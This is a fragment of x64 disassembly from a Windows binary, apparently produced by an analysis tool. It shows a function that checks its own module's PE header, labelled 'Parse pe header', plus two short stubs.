mov r9, qword [rdi + 0x80]
mov r8, rsi
mov edx, 1
mov rcx, r14
call fcn.14001bf40
sub rsi, rax
sub rbp, rsi
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret

Function at 0x14001143c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140011486
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140011486
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140011486
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140011486
cmp dword [rcx + 0x84], 0xe
jbe 0x140011486
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140011488
xor al, al
add rsp, 0x28
ret

Function at 0x14001e3c4
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14001e1c0